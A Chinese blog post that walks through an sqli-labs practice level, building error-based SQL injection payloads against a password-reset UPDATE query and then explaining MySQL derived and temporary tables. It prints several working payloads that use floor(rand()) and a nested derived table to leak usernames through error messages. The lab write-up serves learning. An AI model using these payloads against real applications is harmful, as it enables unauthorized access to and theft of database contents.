昨天做了下科大的hackergame,没更sqli-labs
首先进入页面,可以看到是一个重置密码的页面
尝试在uname和passwd后接',"等,只得到了一张嘴臭图片
1.png
用正确的账号密码尝试,发现返回了另一张重置密码成功的图片。
多次尝试对uname和passwd进行注入,发现只有在uname正确的情况下才会出现报错,并且为单字符型注入,尝试双查询注入,构造payload:
uname=admin&passwd=1' union select count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a %23
2.png
双查询注入失败,
根据报错和题目提示,猜测sql语句并非select而是update(题目就是update)
用or语句重新构造payload:
uname=admin&passwd=1' or (select count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a) %23
出现报错:
3.png
查询该报错,发现在mysql中,不能先对同一个表进行select查询再对其进行update修改,需要先将select的结果作为一个中间表,再对其进行查询,因此构造payload:
uname=admin&passwd=1' or (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a)) %23
又出现报错:
4.png
翻译一下,就是“每个派生表都必须有自己的别名”,因此重新构造payload:
uname=admin&passwd=1' or (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a)b) %23
5.png
注入成功。
关于派生表了解的不太多,既然做了这个题,不如多了解一些。
首先看看派生表和临时表的异同:
派生表:
当主查询中包含派生表,或者当select 语句中包含union字句,或者当select语句中包含一个字段的order by 子句(对另一个字段的group by 子句)时,MySQL为了完成查询,则需要自动创建临时表存储临时结果集,这种临时表由MySQL自行创建,自行维护,成为自动创建的临时表。对于自动创建的临时表,由于内存临时表的性能更为优越,mysql总是首先使用内存临时表,而当内存临时表变得太大时,达到某个阈值的时候,内存临时表就转存为外存临时表。也就是说,外存临时表是内存临时表在存储空间上的一种延伸。内存临时表转存为外存临时表的阈值由系统变量max_heap_table_size和tmp_table_size的较小值决定。
临时表:
当工作在非常大的表上时,你可能偶尔需要运行很多查询获得一个大量数据的小的子集,不是对整个表运行这些查询,而是让MySQL每次找出所需的少数记录,将记录选择到一个临时表可能更快些,然后在这些表运行查询。
总结一下就是,派生表在语句中存在嵌套查询/联合查询时,为了完成查询目的所建立的虚拟表,由mysql自行创建维护和销毁;而临时表是为了提高搜索效率而手动创建的表。在mysql中,派生表必须要有别名,在别的数据库中不一定需要。
网友评论